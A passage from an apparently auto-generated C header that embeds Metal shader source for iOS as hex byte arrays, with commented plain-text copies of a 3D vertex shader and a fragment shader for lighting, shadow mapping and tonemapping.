0x20,0x2a,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x28,0x30,0x2e,0x30,0x30,0x33,0x39,
0x32,0x31,0x35,0x36,0x38,0x38,0x35,0x39,0x33,0x36,0x38,0x35,0x36,0x32,0x36,0x39,
0x38,0x33,0x36,0x34,0x32,0x35,0x37,0x38,0x31,0x32,0x35,0x2c,0x20,0x30,0x2e,0x30,
0x30,0x33,0x39,0x32,0x31,0x35,0x36,0x38,0x38,0x35,0x39,0x33,0x36,0x38,0x35,0x36,
0x32,0x36,0x39,0x38,0x33,0x36,0x34,0x32,0x35,0x37,0x38,0x31,0x32,0x35,0x2c,0x20,
0x30,0x2e,0x30,0x30,0x33,0x39,0x32,0x31,0x35,0x36,0x38,0x38,0x35,0x39,0x33,0x36,
0x38,0x35,0x36,0x32,0x36,0x39,0x38,0x33,0x36,0x34,0x32,0x35,0x37,0x38,0x31,0x32,
0x35,0x2c,0x20,0x30,0x2e,0x30,0x29,0x29,0x3b,0x0a,0x7d,0x0a,0x0a,0x23,0x6c,0x69,
0x6e,0x65,0x20,0x31,0x37,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,
0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,
0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x66,0x72,0x61,0x67,0x6d,0x65,0x6e,0x74,0x20,
0x6d,0x61,0x69,0x6e,0x30,0x5f,0x6f,0x75,0x74,0x20,0x6d,0x61,0x69,0x6e,0x30,0x28,
0x6d,0x61,0x69,0x6e,0x30,0x5f,0x69,0x6e,0x20,0x69,0x6e,0x20,0x5b,0x5b,0x73,0x74,
0x61,0x67,0x65,0x5f,0x69,0x6e,0x5d,0x5d,0x29,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,
0x6d,0x61,0x69,0x6e,0x30,0x5f,0x6f,0x75,0x74,0x20,0x6f,0x75,0x74,0x20,0x3d,0x20,
0x7b,0x7d,0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,0x37,0x20,0x22,0x73,0x72,
0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,
0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,
0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x70,0x61,0x72,0x61,0x6d,0x20,0x3d,0x20,
0x69,0x6e,0x2e,0x70,0x72,0x6f,0x6a,0x5a,0x57,0x2e,0x78,0x20,0x2f,0x20,0x69,0x6e,
0x2e,0x70,0x72,0x6f,0x6a,0x5a,0x57,0x2e,0x79,0x3b,0x0a,0x20,0x20,0x20,0x20,0x6f,
0x75,0x74,0x2e,0x66,0x72,0x61,0x67,0x43,0x6f,0x6c,0x6f,0x72,0x20,0x3d,0x20,0x65,
0x6e,0x63,0x6f,0x64,0x65,0x44,0x65,0x70,0x74,0x68,0x28,0x70,0x61,0x72,0x61,0x6d,
0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x6f,0x75,
0x74,0x3b,0x0a,0x7d,0x0a,0x0a,0x00,
};
/*
#include <metal_stdlib>
#include <simd/simd.h>
using namespace metal;
struct vs_params
{
float4x4 uModelViewProjection;
float4x4 uModel;
float4x4 u_normal_matrix;
float4x4 u_depth_mvp;
};
struct main0_out
{
float2 vTexCoord [[user(locn0)]];
float3 vNormal [[user(locn1)]];
float3 vFragPos [[user(locn2)]];
float4 vColorMult [[user(locn3)]];
float4 vColorOffset [[user(locn4)]];
float4 v_shadow_pos [[user(locn5)]];
float4 gl_Position [[position]];
};
struct main0_in
{
float3 aPosition [[attribute(0)]];
float2 aTexCoord [[attribute(2)]];
float4 aColorMult [[attribute(3)]];
float4 aColorOffset [[attribute(4)]];
};
#line 27 "src/ek/scenex/3d/render3d.glsl"
vertex main0_out main0(main0_in in [[stage_in]], constant vs_params& _16 [[buffer(0)]])
{
main0_out out = {};
#line 27 "src/ek/scenex/3d/render3d.glsl"
float4 _29 = float4(in.aPosition, 1.0);
out.vNormal = float3(normalize(_16.u_normal_matrix * _29).xyz);
#line 28 "src/ek/scenex/3d/render3d.glsl"
out.vFragPos = float3x3(_16.uModel[0].xyz, _16.uModel[1].xyz, _16.uModel[2].xyz) * in.aPosition;
#line 29 "src/ek/scenex/3d/render3d.glsl"
out.vTexCoord = in.aTexCoord;
#line 30 "src/ek/scenex/3d/render3d.glsl"
out.vColorMult = in.aColorMult;
#line 31 "src/ek/scenex/3d/render3d.glsl"
out.vColorOffset = in.aColorOffset;
#line 33 "src/ek/scenex/3d/render3d.glsl"
out.v_shadow_pos = _16.u_depth_mvp * _29;
#line 34 "src/ek/scenex/3d/render3d.glsl"
out.gl_Position = _16.uModelViewProjection * _29;
return out;
}
*/
static const char vs_source_metal_ios[1574] = {
0x23,0x69,0x6e,0x63,0x6c,0x75,0x64,0x65,0x20,0x3c,0x6d,0x65,0x74,0x61,0x6c,0x5f,
0x73,0x74,0x64,0x6c,0x69,0x62,0x3e,0x0a,0x23,0x69,0x6e,0x63,0x6c,0x75,0x64,0x65,
0x20,0x3c,0x73,0x69,0x6d,0x64,0x2f,0x73,0x69,0x6d,0x64,0x2e,0x68,0x3e,0x0a,0x0a,
0x75,0x73,0x69,0x6e,0x67,0x20,0x6e,0x61,0x6d,0x65,0x73,0x70,0x61,0x63,0x65,0x20,
0x6d,0x65,0x74,0x61,0x6c,0x3b,0x0a,0x0a,0x73,0x74,0x72,0x75,0x63,0x74,0x20,0x76,
0x73,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x66,
0x6c,0x6f,0x61,0x74,0x34,0x78,0x34,0x20,0x75,0x4d,0x6f,0x64,0x65,0x6c,0x56,0x69,
0x65,0x77,0x50,0x72,0x6f,0x6a,0x65,0x63,0x74,0x69,0x6f,0x6e,0x3b,0x0a,0x20,0x20,
0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x78,0x34,0x20,0x75,0x4d,0x6f,0x64,0x65,
0x6c,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x78,0x34,0x20,
0x75,0x5f,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x5f,0x6d,0x61,0x74,0x72,0x69,0x78,0x3b,
0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x78,0x34,0x20,0x75,0x5f,
0x64,0x65,0x70,0x74,0x68,0x5f,0x6d,0x76,0x70,0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,0x73,
0x74,0x72,0x75,0x63,0x74,0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x6f,0x75,0x74,0x0a,
0x7b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x32,0x20,0x76,0x54,0x65,
0x78,0x43,0x6f,0x6f,0x72,0x64,0x20,0x5b,0x5b,0x75,0x73,0x65,0x72,0x28,0x6c,0x6f,
0x63,0x6e,0x30,0x29,0x5d,0x5d,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,
0x74,0x33,0x20,0x76,0x4e,0x6f,0x72,0x6d,0x61,0x6c,0x20,0x5b,0x5b,0x75,0x73,0x65,
0x72,0x28,0x6c,0x6f,0x63,0x6e,0x31,0x29,0x5d,0x5d,0x3b,0x0a,0x20,0x20,0x20,0x20,
0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x76,0x46,0x72,0x61,0x67,0x50,0x6f,0x73,0x20,
0x5b,0x5b,0x75,0x73,0x65,0x72,0x28,0x6c,0x6f,0x63,0x6e,0x32,0x29,0x5d,0x5d,0x3b,
0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x76,0x43,0x6f,0x6c,
0x6f,0x72,0x4d,0x75,0x6c,0x74,0x20,0x5b,0x5b,0x75,0x73,0x65,0x72,0x28,0x6c,0x6f,
0x63,0x6e,0x33,0x29,0x5d,0x5d,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,
0x74,0x34,0x20,0x76,0x43,0x6f,0x6c,0x6f,0x72,0x4f,0x66,0x66,0x73,0x65,0x74,0x20,
0x5b,0x5b,0x75,0x73,0x65,0x72,0x28,0x6c,0x6f,0x63,0x6e,0x34,0x29,0x5d,0x5d,0x3b,
0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x76,0x5f,0x73,0x68,
0x61,0x64,0x6f,0x77,0x5f,0x70,0x6f,0x73,0x20,0x5b,0x5b,0x75,0x73,0x65,0x72,0x28,
0x6c,0x6f,0x63,0x6e,0x35,0x29,0x5d,0x5d,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,
0x6f,0x61,0x74,0x34,0x20,0x67,0x6c,0x5f,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,
0x20,0x5b,0x5b,0x70,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x5d,0x5d,0x3b,0x0a,0x7d,
0x3b,0x0a,0x0a,0x73,0x74,0x72,0x75,0x63,0x74,0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,
0x69,0x6e,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,
0x61,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x20,0x5b,0x5b,0x61,0x74,0x74,0x72,
0x69,0x62,0x75,0x74,0x65,0x28,0x30,0x29,0x5d,0x5d,0x3b,0x0a,0x20,0x20,0x20,0x20,
0x66,0x6c,0x6f,0x61,0x74,0x32,0x20,0x61,0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,
0x20,0x5b,0x5b,0x61,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x28,0x32,0x29,0x5d,
0x5d,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x61,0x43,
0x6f,0x6c,0x6f,0x72,0x4d,0x75,0x6c,0x74,0x20,0x5b,0x5b,0x61,0x74,0x74,0x72,0x69,
0x62,0x75,0x74,0x65,0x28,0x33,0x29,0x5d,0x5d,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,
0x6c,0x6f,0x61,0x74,0x34,0x20,0x61,0x43,0x6f,0x6c,0x6f,0x72,0x4f,0x66,0x66,0x73,
0x65,0x74,0x20,0x5b,0x5b,0x61,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x28,0x34,
0x29,0x5d,0x5d,0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x32,
0x37,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,
0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,
0x6c,0x22,0x0a,0x76,0x65,0x72,0x74,0x65,0x78,0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,
0x6f,0x75,0x74,0x20,0x6d,0x61,0x69,0x6e,0x30,0x28,0x6d,0x61,0x69,0x6e,0x30,0x5f,
0x69,0x6e,0x20,0x69,0x6e,0x20,0x5b,0x5b,0x73,0x74,0x61,0x67,0x65,0x5f,0x69,0x6e,
0x5d,0x5d,0x2c,0x20,0x63,0x6f,0x6e,0x73,0x74,0x61,0x6e,0x74,0x20,0x76,0x73,0x5f,
0x70,0x61,0x72,0x61,0x6d,0x73,0x26,0x20,0x5f,0x31,0x36,0x20,0x5b,0x5b,0x62,0x75,
0x66,0x66,0x65,0x72,0x28,0x30,0x29,0x5d,0x5d,0x29,0x0a,0x7b,0x0a,0x20,0x20,0x20,
0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x6f,0x75,0x74,0x20,0x6f,0x75,0x74,0x20,0x3d,
0x20,0x7b,0x7d,0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x32,0x37,0x20,0x22,0x73,
0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,
0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,
0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x5f,0x32,0x39,0x20,0x3d,0x20,
0x66,0x6c,0x6f,0x61,0x74,0x34,0x28,0x69,0x6e,0x2e,0x61,0x50,0x6f,0x73,0x69,0x74,
0x69,0x6f,0x6e,0x2c,0x20,0x31,0x2e,0x30,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x6f,
0x75,0x74,0x2e,0x76,0x4e,0x6f,0x72,0x6d,0x61,0x6c,0x20,0x3d,0x20,0x66,0x6c,0x6f,
0x61,0x74,0x33,0x28,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x69,0x7a,0x65,0x28,0x5f,0x31,
0x36,0x2e,0x75,0x5f,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x5f,0x6d,0x61,0x74,0x72,0x69,
0x78,0x20,0x2a,0x20,0x5f,0x32,0x39,0x29,0x2e,0x78,0x79,0x7a,0x29,0x3b,0x0a,0x23,
0x6c,0x69,0x6e,0x65,0x20,0x32,0x38,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,
0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,
0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x6f,0x75,0x74,
0x2e,0x76,0x46,0x72,0x61,0x67,0x50,0x6f,0x73,0x20,0x3d,0x20,0x66,0x6c,0x6f,0x61,
0x74,0x33,0x78,0x33,0x28,0x5f,0x31,0x36,0x2e,0x75,0x4d,0x6f,0x64,0x65,0x6c,0x5b,
0x30,0x5d,0x2e,0x78,0x79,0x7a,0x2c,0x20,0x5f,0x31,0x36,0x2e,0x75,0x4d,0x6f,0x64,
0x65,0x6c,0x5b,0x31,0x5d,0x2e,0x78,0x79,0x7a,0x2c,0x20,0x5f,0x31,0x36,0x2e,0x75,
0x4d,0x6f,0x64,0x65,0x6c,0x5b,0x32,0x5d,0x2e,0x78,0x79,0x7a,0x29,0x20,0x2a,0x20,
0x69,0x6e,0x2e,0x61,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x3b,0x0a,0x23,0x6c,
0x69,0x6e,0x65,0x20,0x32,0x39,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,
0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,
0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x6f,0x75,0x74,0x2e,
0x76,0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,0x20,0x3d,0x20,0x69,0x6e,0x2e,0x61,
0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,
0x33,0x30,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,
0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,
0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x6f,0x75,0x74,0x2e,0x76,0x43,0x6f,0x6c,
0x6f,0x72,0x4d,0x75,0x6c,0x74,0x20,0x3d,0x20,0x69,0x6e,0x2e,0x61,0x43,0x6f,0x6c,
0x6f,0x72,0x4d,0x75,0x6c,0x74,0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x33,0x31,
0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,
0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,
0x22,0x0a,0x20,0x20,0x20,0x20,0x6f,0x75,0x74,0x2e,0x76,0x43,0x6f,0x6c,0x6f,0x72,
0x4f,0x66,0x66,0x73,0x65,0x74,0x20,0x3d,0x20,0x69,0x6e,0x2e,0x61,0x43,0x6f,0x6c,
0x6f,0x72,0x4f,0x66,0x66,0x73,0x65,0x74,0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,
0x33,0x33,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,
0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,
0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x6f,0x75,0x74,0x2e,0x76,0x5f,0x73,0x68,
0x61,0x64,0x6f,0x77,0x5f,0x70,0x6f,0x73,0x20,0x3d,0x20,0x5f,0x31,0x36,0x2e,0x75,
0x5f,0x64,0x65,0x70,0x74,0x68,0x5f,0x6d,0x76,0x70,0x20,0x2a,0x20,0x5f,0x32,0x39,
0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x33,0x34,0x20,0x22,0x73,0x72,0x63,0x2f,
0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,
0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,
0x6f,0x75,0x74,0x2e,0x67,0x6c,0x5f,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x20,
0x3d,0x20,0x5f,0x31,0x36,0x2e,0x75,0x4d,0x6f,0x64,0x65,0x6c,0x56,0x69,0x65,0x77,
0x50,0x72,0x6f,0x6a,0x65,0x63,0x74,0x69,0x6f,0x6e,0x20,0x2a,0x20,0x5f,0x32,0x39,
0x3b,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x6f,0x75,0x74,
0x3b,0x0a,0x7d,0x0a,0x0a,0x00,
};
/*
#pragma clang diagnostic ignored "-Wmissing-prototypes"
#include <metal_stdlib>
#include <simd/simd.h>
using namespace metal;
struct material_params
{
float3 mat_ambient;
float3 mat_diffuse;
float3 mat_specular;
packed_float3 mat_emission;
float mat_shininess;
float mat_roughness;
};
struct fs_params
{
float4 u_time;
float4 u_resolution;
float3 uViewPos;
};
struct light_params
{
float3 light_position;
float3 light_ambient;
float3 light_diffuse;
float3 light_specular;
};
struct light2_params
{
packed_float3 light2_position;
float light2_radius;
packed_float3 light2_ambient;
float light2_falloff;
float3 light2_diffuse;
float3 light2_specular;
};
struct main0_out
{
float4 frag_color [[color(0)]];
};
struct main0_in
{
float2 vTexCoord [[user(locn0)]];
float3 vNormal [[user(locn1)]];
float3 vFragPos [[user(locn2)]];
float4 vColorMult [[user(locn3)]];
float4 v_shadow_pos [[user(locn5)]];
};
#line 196 "src/ek/scenex/3d/render3d.glsl"
static inline __attribute__((always_inline))
float oren_nayar_diffuse(thread const float3& light_direction, thread const float3& view_direction, thread const float3& surface_normal, thread const float& roughness, thread const float& albedo)
{
#line 196 "src/ek/scenex/3d/render3d.glsl"
#line 197 "src/ek/scenex/3d/render3d.glsl"
float _219 = dot(light_direction, surface_normal);
#line 198 "src/ek/scenex/3d/render3d.glsl"
float _223 = dot(surface_normal, view_direction);
float _229 = dot(light_direction, view_direction) - (_219 * _223);
#line 203 "src/ek/scenex/3d/render3d.glsl"
float _240 = roughness * roughness;
#line 207 "src/ek/scenex/3d/render3d.glsl"
return ((albedo * fast::max(0.0, _219)) * ((1.0 + (_240 * ((albedo / (_240 + 0.12999999523162841796875)) + (0.5 / (_240 + 0.3300000131130218505859375))))) + ((((0.449999988079071044921875 * _240) / (_240 + 0.0900000035762786865234375)) * _229) / mix(1.0, fast::max(_219, _223), step(0.0, _229))))) * 0.3183098733425140380859375;
}
#line 211 "src/ek/scenex/3d/render3d.glsl"
static inline __attribute__((always_inline))
float lambert_diffuse(thread const float3& light_direction, thread const float3& normal)
{
#line 211 "src/ek/scenex/3d/render3d.glsl"
return dot(normal, light_direction);
}
#line 56 "src/ek/scenex/3d/render3d.glsl"
static inline __attribute__((always_inline))
float decodeDepth(thread const float4& rgba)
{
#line 56 "src/ek/scenex/3d/render3d.glsl"
return dot(rgba, float4(1.0, 0.0039215688593685626983642578125, 1.5378700481960549950599670410156e-05, 6.0308629201699659461155533790588e-08));
}
#line 165 "src/ek/scenex/3d/render3d.glsl"
static inline __attribute__((always_inline))
float calc_shadow(float cos_theta, thread float4& v_shadow_pos, thread texture2d<float> u_image_shadow_map, thread const sampler u_image_shadow_mapSmplr)
{
#line 165 "src/ek/scenex/3d/render3d.glsl"
float3 _169 = v_shadow_pos.xyz / float3(v_shadow_pos.w);
float2 _179 = (_169.xy * 0.5) + float2(0.5);
float2 _476 = _179;
_476.y = 1.0 - _179.y;
#line 171 "src/ek/scenex/3d/render3d.glsl"
#line 191 "src/ek/scenex/3d/render3d.glsl"
float4 param = u_image_shadow_map.sample(u_image_shadow_mapSmplr, _476);
return step(decodeDepth(param), _169.z - (0.5 * fast::clamp(0.004999999888241291046142578125 * tan(acos(cos_theta)), 0.0, 0.00999999977648258209228515625)));
}
#line 152 "src/ek/scenex/3d/render3d.glsl"
static inline __attribute__((always_inline))
float calc_spec(thread const float3& light_dir, thread const float3& view_dir, thread const float3& normal, constant material_params& v_110)
{
#line 152 "src/ek/scenex/3d/render3d.glsl"
#line 153 "src/ek/scenex/3d/render3d.glsl"
return ((8.0 + v_110.mat_shininess) * 0.0397887341678142547607421875) * pow(fast::max(dot(normal, normalize(light_dir + view_dir)), 0.0), v_110.mat_shininess);
}
#line 135 "src/ek/scenex/3d/render3d.glsl"
static inline __attribute__((always_inline))
float attenuation_point(thread const float3& distance_by_radius, thread const float& falloff)
{
#line 135 "src/ek/scenex/3d/render3d.glsl"
return pow(1.0 - fast::min(1.0, length(distance_by_radius)), 2.0 * falloff);
}
#line 64 "src/ek/scenex/3d/render3d.glsl"
static inline __attribute__((always_inline))
float luminance(thread const float3& linear)
{
#line 64 "src/ek/scenex/3d/render3d.glsl"
return dot(linear, float3(0.2125999927520751953125, 0.715200006961822509765625, 0.072200000286102294921875));
}
#line 73 "src/ek/scenex/3d/render3d.glsl"
static inline __attribute__((always_inline))
float3 linear_to_gamma(thread const float3& x)
{
#line 73 "src/ek/scenex/3d/render3d.glsl"
return pow(x, float3(0.4545454680919647216796875));
}
#line 89 "src/ek/scenex/3d/render3d.glsl"
static inline __attribute__((always_inline))
float3 tonemap_reinhard(float3 x)
{
#line 89 "src/ek/scenex/3d/render3d.glsl"
float3 param = x;
float3 param_1 = x / float3(1.0 + luminance(param));
return linear_to_gamma(param_1);
}
#line 215 "src/ek/scenex/3d/render3d.glsl"
fragment main0_out main0(main0_in in [[stage_in]], constant material_params& v_110 [[buffer(0)]], constant fs_params& _292 [[buffer(1)]], constant light_params& _328 [[buffer(2)]], constant light2_params& _387 [[buffer(3)]], texture2d<float> u_image_shadow_map [[texture(0)]], texture2d<float> uImage0 [[texture(1)]], sampler u_image_shadow_mapSmplr [[sampler(0)]], sampler uImage0Smplr [[sampler(1)]])
{
main0_out out = {};
#line 215 "src/ek/scenex/3d/render3d.glsl"
float3 _288 = normalize(in.vNormal);
#line 216 "src/ek/scenex/3d/render3d.glsl"
float3 _300 = normalize(_292.uViewPos - in.vFragPos);
#line 217 "src/ek/scenex/3d/render3d.glsl"
float3 total = float3(v_110.mat_emission);
#line 218 "src/ek/scenex/3d/render3d.glsl"
float4 _311 = uImage0.sample(uImage0Smplr, in.vTexCoord);
float4 _314 = _311 * in.vColorMult;
float3 _324 = float3(_314.xyz) * v_110.mat_diffuse;
#line 223 "src/ek/scenex/3d/render3d.glsl"
float3 param = _328.light_position;
float3 param_1 = _300;
float3 param_2 = _288;
float param_3 = 0.5;
float param_4 = 1.0;
float _339 = oren_nayar_diffuse(param, param_1, param_2, param_3, param_4);
#line 224 "src/ek/scenex/3d/render3d.glsl"
total += (v_110.mat_ambient * _328.light_ambient);
if (_339 > 0.0)
{
float3 param_5 = _328.light_position;
float3 param_6 = _288;
#line 227 "src/ek/scenex/3d/render3d.glsl"
float3 param_7 = _328.light_position;
float3 param_8 = _300;
float3 param_9 = _288;
total += ((((v_110.mat_specular * _328.light_specular) * calc_spec(param_7, param_8, param_9, v_110)) + ((_324 * _328.light_diffuse) * _339)) * (1.0 - calc_shadow(fast::clamp(lambert_diffuse(param_5, param_6), 0.0, 1.0), in.v_shadow_pos, u_image_shadow_map, u_image_shadow_mapSmplr)));
}
#line 235 "src/ek/scenex/3d/render3d.glsl"
float3 _391 = float3(_387.light2_position) - in.vFragPos;
float3 _399 = _391 / float3(length(_391));
float3 param_10 = _399;
float3 param_11 = _300;
float3 param_12 = _288;
float param_13 = 0.5;
float param_14 = 1.0;
float _409 = oren_nayar_diffuse(param_10, param_11, param_12, param_13, param_14);
total += (v_110.mat_ambient * float3(_387.light2_ambient));
if (_409 > 0.0)
{
float3 param_15 = _391 / float3(_387.light2_radius);
float param_16 = _387.light2_falloff;
float _431 = attenuation_point(param_15, param_16);
if (_431 > 0.0)
{
#line 246 "src/ek/scenex/3d/render3d.glsl"
#line 245 "src/ek/scenex/3d/render3d.glsl"
float3 param_17 = _399;
float3 param_18 = _300;
float3 param_19 = _288;
total += ((((v_110.mat_specular * _387.light2_specular) * calc_spec(param_17, param_18, param_19, v_110)) + ((_324 * _387.light2_diffuse) * _409)) * _431);
}
}
#line 252 "src/ek/scenex/3d/render3d.glsl"
float3 _462 = tonemap_reinhard(total);
total = _462;
out.frag_color = float4(_462, _314.w);
return out;
}
*/
static const char fs_source_metal_ios[8120] = {
0x23,0x70,0x72,0x61,0x67,0x6d,0x61,0x20,0x63,0x6c,0x61,0x6e,0x67,0x20,0x64,0x69,
0x61,0x67,0x6e,0x6f,0x73,0x74,0x69,0x63,0x20,0x69,0x67,0x6e,0x6f,0x72,0x65,0x64,
0x20,0x22,0x2d,0x57,0x6d,0x69,0x73,0x73,0x69,0x6e,0x67,0x2d,0x70,0x72,0x6f,0x74,
0x6f,0x74,0x79,0x70,0x65,0x73,0x22,0x0a,0x0a,0x23,0x69,0x6e,0x63,0x6c,0x75,0x64,
0x65,0x20,0x3c,0x6d,0x65,0x74,0x61,0x6c,0x5f,0x73,0x74,0x64,0x6c,0x69,0x62,0x3e,
0x0a,0x23,0x69,0x6e,0x63,0x6c,0x75,0x64,0x65,0x20,0x3c,0x73,0x69,0x6d,0x64,0x2f,
0x73,0x69,0x6d,0x64,0x2e,0x68,0x3e,0x0a,0x0a,0x75,0x73,0x69,0x6e,0x67,0x20,0x6e,
0x61,0x6d,0x65,0x73,0x70,0x61,0x63,0x65,0x20,0x6d,0x65,0x74,0x61,0x6c,0x3b,0x0a,
0x0a,0x73,0x74,0x72,0x75,0x63,0x74,0x20,0x6d,0x61,0x74,0x65,0x72,0x69,0x61,0x6c,
0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,
0x6f,0x61,0x74,0x33,0x20,0x6d,0x61,0x74,0x5f,0x61,0x6d,0x62,0x69,0x65,0x6e,0x74,
0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x6d,0x61,0x74,
0x5f,0x64,0x69,0x66,0x66,0x75,0x73,0x65,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,
0x6f,0x61,0x74,0x33,0x20,0x6d,0x61,0x74,0x5f,0x73,0x70,0x65,0x63,0x75,0x6c,0x61,
0x72,0x3b,0x0a,0x20,0x20,0x20,0x20,0x70,0x61,0x63,0x6b,0x65,0x64,0x5f,0x66,0x6c,
0x6f,0x61,0x74,0x33,0x20,0x6d,0x61,0x74,0x5f,0x65,0x6d,0x69,0x73,0x73,0x69,0x6f,
0x6e,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x6d,0x61,0x74,
0x5f,0x73,0x68,0x69,0x6e,0x69,0x6e,0x65,0x73,0x73,0x3b,0x0a,0x20,0x20,0x20,0x20,
0x66,0x6c,0x6f,0x61,0x74,0x20,0x6d,0x61,0x74,0x5f,0x72,0x6f,0x75,0x67,0x68,0x6e,
0x65,0x73,0x73,0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,0x73,0x74,0x72,0x75,0x63,0x74,0x20,
0x66,0x73,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,
0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x75,0x5f,0x74,0x69,0x6d,0x65,0x3b,0x0a,0x20,
